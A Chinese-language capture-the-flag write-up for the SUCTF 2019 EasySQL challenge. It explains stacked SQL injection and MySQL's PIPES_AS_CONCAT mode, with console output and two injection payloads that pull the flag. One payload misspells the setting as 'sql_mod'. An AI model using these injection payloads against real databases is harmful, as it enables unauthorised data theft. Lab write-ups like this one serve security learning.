[SUCTF 2019]EasySQL 1
这个题目搞了我好久,由于本人基础不扎实,试了好多方法,只发现有三种情况
Nonono、无返回结果和有返回
然后使用了新学习的堆叠注入,得到了数据库名和表名


想要查看Flag表的字段内容也查看不了


这里我就无计可施了,到底是怎么回事?
观看了大佬的WP,原来是这样
根据猜解,后端的语句是
select $_POST['query'] || flag from Flag;
所以一切的原理就出啦了
mysql> select 0 || 'flag';
+-------------+
| 0 || 'flag' |
+-------------+
| 0 |
+-------------+
1 row in set, 1 warning (0.00 sec)
mysql> select 1 || 'flag';
+-------------+
| 1 || 'flag' |
+-------------+
| 1 |
+-------------+
1 row in set (0.00 sec)
mysql> select 2 || 'flag';
+-------------+
| 2 || 'flag' |
+-------------+
| 1 |
+-------------+
1 row in set (0.00 sec)
mysql> select 'a' || 'flag';
+---------------+
| 'a' || 'flag' |
+---------------+
| 0 |
+---------------+
1 row in set, 2 warnings (0.00 sec)
所以这里只有非零数字和flag或(or、||)运算才可以返回真,才会有返回结果
那么Nonono就是我们传入的关键字被过滤了,这样都理解了。
那么如何绕过这个注入,才是关键。
方法一:
payload
1;select *,1
和SQL语句拼接后
select *,1 || flag from Flag
1和flag的结果是1,然后语句就成为了
select *,1 from Flag,*是数据库全部内容的意思,所以得到flag
flag{2231a903-6115-4dcc-8c0f-3d6086b54819}
方法二
大佬给出了一个关键的MySQL配置sql_mod
SQL_MOD:是MySQL支持的基本语法、校验规则
其中PIPES_AS_CONCAT:会将||认为字符串的连接符,而不是或运算符,这时||符号就像concat函数一样。
mysql> set sql_mode=PIPES_AS_CONCAT;
Query OK, 0 rows affected (0.00 sec)
mysql>
mysql> select 1 || 'flag';
+-------------+
| 1 || 'flag' |
+-------------+
| 1flag |
+-------------+
1 row in set (0.00 sec)
mysql> select 'a' || 'flag';
+---------------+
| 'a' || 'flag' |
+---------------+
| aflag |
+---------------+
1 row in set (0.00 sec)
所以只需要更改SQL_mod配置,然后随便查询一个值就可以得到flag
payload:
1;set sql_mod=PIPES_AS_CONCAT;select 1
插入SQL语句就成为
select concat(1,flag) from Flag;
成功得到flag
[SUCTF 2019]EasySQL 1的更多相关文章
- 刷题记录:[SUCTF 2019]EasySQL
目录 刷题记录:[SUCTF 2019]EasySQL 一.涉及知识点 1.堆叠注入 2.set sql_mode=PIPES_AS_CONCAT;将||视为字符串的连接操作符而非或运算符 3.没有过 ...
- BUUCTF | [SUCTF 2019]EasySQL (堆叠注入)
fuzz ing了一下,发现了一堆过滤: 同时发现了注入点,这个应该是var_dump()函数 ===============第二天的分割线 好吧我放弃了,找了一下wp 正确解:select 1;se ...
- [SUCTF 2019]EasySQL(堆叠注入配合sql_mode)
考点:1.堆叠注入 2.set sql_mode=PIPES_AS_CONCAT;将||视为字符串的连接操作符而非或运算符 意外:注入* 复现: 1;set sql_mode=PIPES_AS_CON ...
- BUUCTF [SUCTF 2019]EasySQL
首先打开网址 发现有三种显示方法 还有一个没有输出 可以堆叠注入 1;show databases; 1;show tables; 可以看到有一个Flag表 测试发现from flag都被过滤不能直接 ...
- 刷题记录:[SUCTF 2019]EasyWeb(EasyPHP)
目录 刷题记录:[SUCTF 2019]EasyWeb(EasyPHP) 一.涉及知识点 1.无数字字母shell 2.利用.htaccess上传文件 3.绕过open_basedir/disable ...
- 刷题记录:[SUCTF 2019]Pythonginx
目录 刷题记录:[SUCTF 2019]Pythonginx 一.涉及知识点 1. CVE-2019-9636:urlsplit不处理NFKC标准化 2.Nginx重要文件位置 二.解题方法 刷题记录 ...
- 刷题记录:[SUCTF 2019]CheckIn
目录 刷题记录:[SUCTF 2019]CheckIn 一.涉及知识点 1.利用.user.ini上传\隐藏后门 2.绕过exif_imagetype()的奇技淫巧 二.解题方法 刷题记录:[SUCT ...
- SUCTF 2019 Upload labs 2 踩坑记录
SUCTF 2019 Upload labs 2 踩坑记录 题目地址 : https://github.com/team-su/SUCTF-2019/tree/master/Web/Upload La ...
- [原题复现]SUCTF 2019 WEB EasySQL(堆叠注入)
简介 原题复现: 1 <?php 2 session_start(); 3 4 include_once "config.php"; 5 6 $post = array() ...
- [SUCTF 2019]Pythonginx
贴出源码 @app.route('/getUrl', methods=['GET', 'POST']) def getUrl(): url = request.args.get("url&q ...
随机推荐
- Swift中 堆(heap)和栈(stack)的区别
1.内存空间分为堆空间和栈空间 2.堆->引用类型(对象.函数.闭包) 栈->值类型(结构体.枚举.元组) 3.值类型赋值->深拷贝 引用类型赋值->浅拷贝 let a = ...
- Docker--在 Jenkins 容器上的搭建持续集成环境和完成自动化测试
本文转自:https://www.cnblogs.com/poloyy/p/13955641.html Jenkins 初始化流程 访问 Jenkins 查看本机 IP ifconfig 查看容器运行 ...
- navicat 远程连接不上mysql
1 查看是否开启远程连接(拿root用户举例) use mysql; select host, user from user; 以上便是开启远程连接,如果依旧不能连接,参考如下: grant all ...
- 【2020NOI.AC省选模拟#5】C. 光滑序列
题目链接 原题解: 光滑的序列一定有长度为$K$的循环节. 使用动态规划,设$F(i,j)$为使前$i$个整数的和为$j$的最小修改次数. 记$cost(i,v)$为令$A_i,A_{i+K},A_{ ...
- 关于 java 上传,下载和导入报java.lang.IllegalStateException异常解决办法
java.lang.IllegalStateException异常解决办法 最近在使用response.sendRedirect()时出现如下错误:java.lang.IllegalStateExc ...
- request提取json中的信息
1 import requests 2 3 response = requests.get(host) 4 5 #无需import json库 6 7 i = respon.json() 8 9 #此 ...
- 高性能的StampedLock锁
StampedLock 支持的三种锁模式: 1.ReadWriteLock 支持两种模式:一种是读锁,一种是写锁 2.StampedLock 支持三种模式,分别是:写锁.悲观读锁和乐观读 1)写锁.悲 ...
- 记一次 windows 10 系统 idea 【ctrl + shift + f】快捷键失效的问题
快捷键失效,首先想到的就是和其它软件设置的快捷键冲突了,把其它软件都关了之后,发现还是不行.最后发现原来是搜狗输入法中设置了,关掉之后就可以了.
- Apache HTTPD 多后缀解析漏洞复现(Kali)
通过vulhub靶场进行复现操作 1.首先搭建靶场环境(采用Kali) cd /vulhub/httpd/apache_parsing_vulnerability //进入对应漏洞目录,具体 ...
- 【LeetCode】 907 子数组的最小值之和
Decrisption Given an array of integers arr, find the sum of min(b), where b ranges over every (conti ...